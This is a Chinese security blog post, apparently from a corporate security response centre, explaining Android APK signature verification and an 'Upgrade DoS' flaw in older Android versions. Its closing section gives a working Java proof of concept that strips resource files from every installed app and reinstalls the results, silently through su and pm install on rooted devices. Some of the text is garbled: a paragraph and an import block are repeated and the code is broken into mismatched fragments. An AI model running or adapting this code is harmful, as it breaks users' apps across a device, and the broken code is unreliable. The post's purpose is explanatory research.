

# APK签名验证原理及Upgrade DoS漏洞剖析

2016-09-19 Bean3ai 京东安全应急响应中心

点击上方“蓝字”关注本宝宝本公众号

## 0x01 概述

本文讨论范围包括Android APK包签名验证原理，基于验证过程引起的Upgrade DoS漏洞的原理和重现方法，将按照基本概念，APK包组成及签名验证流程，Upgrade DoS剖析的顺序依次展开。望开发者能从中学习到一些思想，应用于平时的开发中，因本人才疏学浅，如有描述不准确的地方，欢迎大家提出指正。

## 0x02 基本概念

### ◆ 消息摘要(Message Digest)

在通信过程中，为使接收方验证接受到的信息的完整性和真实性，使用散列函数等对传输的消息处理后的输出值，被称为该消息的消息摘要。一般情况下，不同的消息摘要是不一样的，除非该函数产生碰撞现象；另外无法从摘要逆向计算得到消息本身。

### ◆ 数字签名(Signature)

在通信过程中，为使接收方能对发送方进行身份验证，使用非对称公钥体制和消息摘要进行结合，发送方用私钥对摘要进行加密，接受方用公钥进行解密，然后对消息用同样的方式获取摘要。并与解密结果进行对比，便可达到身份认证(因为只有发送方拥有私钥)和消息鉴别的功能。

### ◆ 数字证书(Certificate)

数字证书是一个经数字签名的包含公开密钥拥有者信息以及公开密钥的文件。证书包含的有效信息有：证书版本、证书序号、证书颁发机构、证书有效期、证书拥有者和拥有者公钥，以及证书颁发机构对该证书的签名。Android打包用的证书是自签名的X.509格式的证书。当使用某证书时，需要验证该证书的合法性：使用证书颁发者的公钥，然后对整个证书（除了证书数字签名以外）采用给定的证书签名算法计算，然后将计算结果同证书数字签名的解密结果进行对比，相同则可以证明该证书确实由证书颁发者颁发的合法证书；不同则说明已被篡改，证书不合法。可使用openssl pkcs7 -inform DER -in file\_name -noout -print\_certs -text命令查看证书具体内容。

## 0x03 APK包组成及签名验证流程

### ◆ APK包组成

APK包可大体被分为两部分--应用源文件和META-INFO文件夹，其结构如下图所示：

Name	Date Modified	Size	Kind
AndroidManifest.xml	Jan 21, 2015, 10:07 AM	2 KB	XML
assets	Jan 27, 2015, 12:17 PM	--	Folder
classes.dex	Jan 21, 2015, 10:07 AM	1.4 MB	Document
META-INF	Jan 26, 2015, 11:57 PM	--	Folder
CERT.RSA	Jan 21, 2015, 10:07 AM	1 KB	Document
CERT.SF	Jan 21, 2015, 10:07 AM	37 KB	Document
MANIFEST.MF	Jan 21, 2015, 10:07 AM	37 KB	Document
res	Jan 26, 2015, 11:57 PM	--	Folder
resources.arsc	Jan 21, 2015, 10:07 AM	106 KB	Document

应用源文件包括classes.dex、manifest.xml，res文件夹，assets文件夹和lib文件夹等；META-INFO文件夹包含MANIFEST.MF，CERT.SF(或者是xx.SF，xx是使用者证书的自定义别名，默认为CERT)和CERT.RSA(或者xx.DSA, 后缀名不同代表不同的签名算法，xx与SF对应，当使用多重证书签名时，每一个.SF文件必须有一个.RSA/.DSA文件与之对应)文件。

其中MANIFEST.MF，以SHA-1 + BASE64编码的形式存储着除META-INFO文件夹外所有源文件的摘要值，如图所示：

```
~/Android/Android-Reverse-Engineering/ReverseEngineeringWorkspace/AliMobile/AliCrackme_1/AliCrackme_1/META-INF cat MANIFEST.MF
Manifest-Version: 1.0
Created-By: 1.0 (Android)

Name: res/drawable-xhdpi/abc_ic_go_search_api_holo_light.png
SHA1-Digest: xdy9kP5INqW6j3rI+AJK95oizGY=

Name: res/drawable-mdpi/abc_menu_hardkey_panel_holo_dark.9.png
SHA1-Digest: u6FB7eaIkISSHkqHm+QtCdY8lo0=

Name: res/drawable/abc_spinner_ab_holo_light.xml
SHA1-Digest: RLJ6JbG8GtQ9sZIMFVboLHqQfNo=

Name: res/drawable-hdpi/abc_ab_bottom_solid_dark_holo.9.png
SHA1-Digest: cLS2FCoJG9FXWLRDFRPFRX/xznk=

Name: res/drawable-mdpi/abc_list_pressed_holo_dark.9.png
SHA1-Digest: ughAWBlhb5fxIghli8NgEiGGjGY=
```

其次CERT.SF，以SHA-1 + BASE64编码的形式存储着MANIFEST.MF以及MANIFEST.MF各子项的摘要值，如图所示：

```
~/Android/Android-Reverse-Engineering/ReverseEngineeringWorkspace/ALiMobile/AliCrackme_1/AliCrackme_1/META-INF ➤ cat CERT.SF
Signature-Version: 1.0
Created-By: 1.0 (Android)
SHA1-Digest-Manifest: 8YbX6fNtNfN+ZKJlHN+z0PHzdMI=

Name: res/drawable-xhdpi/abc_ic_go_search_api_holo_light.png
SHA1-Digest: oDgchKv1/RlkXjzBtIOG9vLQqK4=

Name: res/drawable-mdpi/abc_menu_hardkey_panel_holo_dark.9.png
SHA1-Digest: TpcPD4GNpnJcrGwWzE+ZPdGst+U=

Name: res/drawable/abc_spinner_ab_holo_light.xml
SHA1-Digest: 4+oSRMQ7s50fA48B4crxUoUakCw=

Name: res/drawable-hdpi/abc_ab_bottom_solid_dark_holo.9.png
SHA1-Digest: UH+kcStsKb+GBFS0CdzF9DpYZ9o=
```

最后是CERT.RSA，存储着用私钥对CERT.SF的数字签名、签名算法、公钥、证书所有者，颁发机构等信息，如图所示：

```
~/Android/Android-Reverse-Engineering/ReverseEngineeringWorkspace/ALiMobile/AliCrackme_1/AliCrackme_1/META-INF ➤ openssl pkcs7 -inform DER -in CERT.RSA -noout -print_certs -text
Certificate:
  Data:
    Version: 3 (0x2)
    Serial Number: 777918881 (0x2e5e19a1)
    Signature Algorithm: sha256WithRSAEncryption
    Issuer: C=ch, ST=zj, L=hz, O=alibaba, OU=alibaba, CN=zhang chen
    Validity
      Not Before: Sep 24 06:59:03 2014 GMT
      Not After : Jun 27 06:59:03 2069 GMT
    Subject: C=ch, ST=zj, L=hz, O=alibaba, OU=alibaba, CN=zhang chen
    Subject Public Key Info:
      Public Key Algorithm: rsaEncryption
      RSA Public Key: (2048 bit)
      Modulus (2048 bit):
        00:8c:14:2c:e0:a9:b3:c3:84:d0:95:ea:c9:e5:51:
        f3:ba:44:8b:03:00:de:b5:11:bb:fc:26:9a:48:df:
        ea:d6:dc:81:4d:67:63:ba:02:91:a9:f4:e4:df:df:
        d8:dd:d0:f7:43:f9:f8:f8:63:3d:48:75:77:5e:61:
        7d:93:44:9d:8b:d1:0c:97:46:90:fb:da:45:6a:6d:
        58:cc:0b:ec:95:6b:0d:7c:8b:ec:e6:0b:3b:fe:ed:
        b8:82:6d:05:56:b6:a9:ed:21:b7:83:bf:c4:0b:1f:
```

## ◆ 签名验证原理

当安装应用时，系统会计算源文件的摘要值的BASE64编码并与MANIFEST.MF中对应的值进行比较，如果不同则说明被篡改，安装失败。

然后计算MANIFEST.MF以及其包含的子项的摘要的BASE64编码值并与CERT.SF中相对应的项比较，如果不同则说明被篡改，安装失败。

最后验证证书的有效性，获取CERT.SF的签名值并与经证书保存公钥解密后的CERT.SF.Signature的值进行比较，如果整个过程出现异常，则安装失败。

签名验证的源码位于 `frameworks/base/services/core/java/com/android/server/pm/PackageManagerService.java`，可以从该类开始跟踪。

## 0x04 Upgrade DoS漏洞剖析

### ◆ 漏洞剖析

众所周知，在应用升级过程中，新应用的签名信息必须与已装应用的签名完全一样，而且新应用的版本号不能低于已装应用，不然的话，应用升级过程就会失败。另外二次打包的应用因其其签名信息不同不能够升级替换掉已装应用。

但是依据上述签名验证机制，删除APK中除META-INFO之外的其他文件后，因满足APK中存在的文件在MANIFEST.MF中的摘要值存在并正确，故验证能通过，APK依然能成功安装（新版的系统已修复该漏洞）。但是应用无法正常使用，会遭成本地DoS攻击。也就是说，源文件存在则其摘要必须存在于MANIFEST.MF中，但是不代表MANIFEST.MF中存在的项在源文件中相应的存在。MANIFEST.MF中的摘要值提供了防止Android源文件的增、改操作的功能，但并不能保护源文件的删操作。

另外在所测试的Android系统（nexus 5 android 4.4）中，APK存储路径 / system /app（系统应用）， /system/priv-app（系统应用）其目录可以被访问，目录下的APK提供了读权限给任意的用户，不需要root，如图所示：

#### **/system/app/**

```
shell@hammerhead:/ $ ll /system/app
-rw-r--r-- root root 32443 2014-06-13 15:06 BasicDreams.apk
-rw-r--r-- root root 16600 2014-06-13 15:06 BasicDreams.odex
-rw-r--r-- root root 779463 2014-06-13 15:06 Bluetooth.apk
-rw-r--r-- root root 812184 2014-06-13 15:06 Bluetooth.odex
-rw-r--r-- root root 6423464 2014-06-13 15:06 Books.apk
-rw-r--r-- root root 27202 2014-06-13 15:06 BrowserProviderProxy.apk
-rw-r--r-- root root 6368 2014-06-13 15:06 BrowserProviderProxy.odex
-rw-r--r-- root root 335622 2014-06-13 15:06 Calculator.apk
-rw-r--r-- root root 365840 2014-06-13 15:06 Calculator.odex
-rw-r--r-- root root 2684173 2014-06-13 15:06 CalendarGoogle.apk
-rw-r--r-- root root 1624360 2014-06-13 15:06 CalendarGoogle.odex
-rw-r--r-- root root 409213 2014-06-13 15:06 CellBroadcastReceiver.apk
```

#### **/system/priv-app/**

```
shell@hammerhead:/ $ ll /system/priv-app/
-rw-r--r-- root root 130494 2014-06-13 15:06 BackupRestoreConfirmation.apk
-rw-r--r-- root root 9768 2014-06-13 15:06 BackupRestoreConfirmation.odex
-rw-r--r-- root root 226404 2014-06-13 15:06 CalendarProvider.apk
-rw-r--r-- root root 390032 2014-06-13 15:06 CalendarProvider.odex
-rw-r--r-- root root 859133 2014-06-13 15:06 ConfigUpdater.apk
-rw-r--r-- root root 2510024 2014-06-13 15:06 ConfigUpdater.odex
-rw-r--r-- root root 2568813 2014-06-13 15:06 Contacts.apk
-rw-r--r-- root root 1466184 2014-06-13 15:06 Contacts.odex
-rw-r--r-- root root 391311 2014-06-13 15:06 ContactsProvider.apk
-rw-r--r-- root root 782968 2014-06-13 15:06 ContactsProvider.odex
-rw-r--r-- root root 19288 2014-06-13 15:06 DefaultContainerService.apk
-rw-r--r-- root root 21008 2014-06-13 15:06 DefaultContainerService.odex
```

APK存储路径 /data/app (用户应用) 其目录虽然普通用户不可以被访问，目录下的APK提供了读权限给任意的用户，不需要root，如图所示：

## 访问目录失败

```
shell@hammerhead:/ $ ll /data/app
ls: opendir failed, Permission denied
```

## /data/app/下的APK提供了读权限给任意用户

```
shell@hammerhead:/ $ ll /data/app/loading.androidmanual-1.apk
-rw-r--r-- system system 21731115 2016-08-04 11:17 loading.androidmanual-1.apk
```

这样的话可以读取本地所有已安装应用的APK 源文件，然后用JarEntry进行恶意删除源文件操作，调用系统自带的应用升级过程Activity，将修改后的APK重新安装回去覆盖掉原始应用，假如设备已经root了，则可以使用“pm install”命令进行静默安装，造成本地大规模的拒绝服务攻击，如能配合诸如一些像应用的更新漏洞，将可以给攻击者提供一个很好的攻击途径，方便攻击者攻击用户的设备。

### 福利 PoC↓

```
package com.example.bean3ai.upgrade_dos_poc;+
↓
import android.content.Intent;+
import android.content.pm.ApplicationInfo;+
import android.net.Uri;+
import android.os.Bundle;+
import android.os.Environment;+
import android.os.Handler;+
import android.os.Message;+
import android.support.v7.app.AppCompatActivity;+
import android.util.Log;+
import android.view.View;+
import android.widget.Toast;+
↓
import java.io.*;+
import java.util.ArrayList;+
import java.util.List;+
import java.util.jar.JarFile;+
import java.util.zip.ZipEntry;+
import java.util.zip.ZipInputStream;+
import java.util.zip.ZipOutputStream;+
```

在通信过程中，为使接收方验证接受到的信息的完整性和真实性，使用散列函数等对传输的消息处理后的输出值，被称为该消息的消息摘要。一般情况下，不同的消息修的摘要是不一样的，除非该函数产生碰撞现象；另外无法从摘要逆向计算得到消息本身。

福利 PoC

```
package com.example.bean3ai.upgrade_dos_poc;

import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;
import android.os.Handler;
import android.os.Message;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;
import android.view.View;
import android.widget.Toast;

import java.io.*;
import java.util.ArrayList;
import java.util.List;
import java.util.jar.JarFile;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;
import java.util.zip.ZipOutputStream;

public class MainActivity extends AppCompatActivity {

    private Handler installHandler = new Handler() {
        @Override
        public void handleMessage(Message msg) {
            installApp((String) msg.obj);
        }
    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }

    /**
     * 本 poc 可以获取所有 APK 文件, 并删除 res 文件夹重新压缩, 然后利用 handLer 进行安装
     *
     * @param view
     */
    public void poc(View view) {
        // 获取应用列表
        ArrayList<String> appsPath = getAppsPath();

        for (String appPath : appsPath) {
            // 读取 APK 文件, 并删除 res 文件夹重新压缩
            readApkFileAndDeleteRes(appPath);
        }
    }
}
```

```

private void installApp(String path) {
String installCMD = "pm install -r " + path;
if (executeSUCMD(installCMD) == 0) {
    // 获取 root 进行静默安装
    Toast.makeText(getApplicationContext(), "installed app silently",
Toast.LENGTH_SHORT).show();
    } else {
        Intent intent = new Intent(Intent.ACTION_VIEW);
        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        intent.setDataAndType(Uri.parse("file://" + path),
"application/vnd.android.package-archive");
        startActivity(intent);
    }
}

private ArrayList<String> getAppsPath() {
    ArrayList<String> appsPath = new ArrayList<>();

    // 获取系统安装的所有应用
    List<ApplicationInfo> apps =
getPackageManager().getInstalledApplications(0);

    for (ApplicationInfo info : apps) {
        // 非系统应用
        if ((info.flags & ApplicationInfo.FLAG_SYSTEM) == 0) {
            appsPath.add(info.publicSourceDir);
        } else {
            appsPath.add(info.publicSourceDir);
        }
    }

    return appsPath;
}

```

```

private void readApkFileAndDeleteRes(final String appPath) {
    new Thread(new Runnable() {
        @Override
        public void run() {
            File inputFile = new File(appPath);
            File outputFile = new
File(Environment.getExternalStorageDirectory(),
            appPath.substring(appPath.lastIndexOf("/") + 1,
appPath.length()));

            try {
                ZipOutputStream zipOut = new ZipOutputStream(new
FileOutputStream(outputFile));
                ZipInputStream zipInput = new ZipInputStream(new
FileInputStream(inputFile));
                //APK 压缩文件
                JarFile zipFile = new JarFile(inputFile);
                // 每一个压缩实体
                ZipEntry zipEntry = null;

                while ((zipEntry = zipInput.getNextEntry()) != null) {
                    //删除res 文件夹
                    if (zipEntry.getName().contains("res"))
                        continue;

                    Log.d("EntryName", zipEntry.getName());
                    // 得到每一个实体的输入流
                    InputStream inputStream =
zipFile.getInputStream(zipEntry);
                    // 设置ZipEntry 对象
                    zipOut.putNextEntry(new ZipEntry(zipEntry.getName()));

                    int len = 0;
                    byte[] buffer = new byte[1024];
                    while (-1 != (len = inputStream.read(buffer))) {
                        zipOut.write(buffer, 0, len);
                    }

                    // 关闭压缩实体的输入流
                    inputStream.close();
                }

                zipOut.close();
                zipInput.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    });
}

```



//发送消息进行安装

```
        Message msg = new Message();
        msg.obj = outputFile.getAbsolutePath();
        installHandler.sendMessage(msg);
    }
}).start();
}
```

//执行 shell 命令 静默安装


```
private int executeSUCMD(String cmd) {
    Process process = null;
    DataOutputStream dos = null;

    try {
        process = Runtime.getRuntime().exec("su");
        dos = new DataOutputStream(process.getOutputStream());
        dos.writeBytes((String) "export
LD_LIBRARY_PATH=/vendor/lib:/system/lib\n");
        cmd = String.valueOf(cmd);
        dos.writeBytes(cmd + "\n");
        dos.flush();
        dos.writeBytes("exit\n");
        dos.flush();
        process.waitFor();
        return process.exitValue();
    } catch (Exception e) {
        e.printStackTrace();
        return -1;
    } finally {
        try {
            if (dos != null)
                dos.close();
            if (process != null)
                process.destroy();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
}
```





 jsrc\_team

 京东安全应急响应中心

更多精彩，尽在JSRC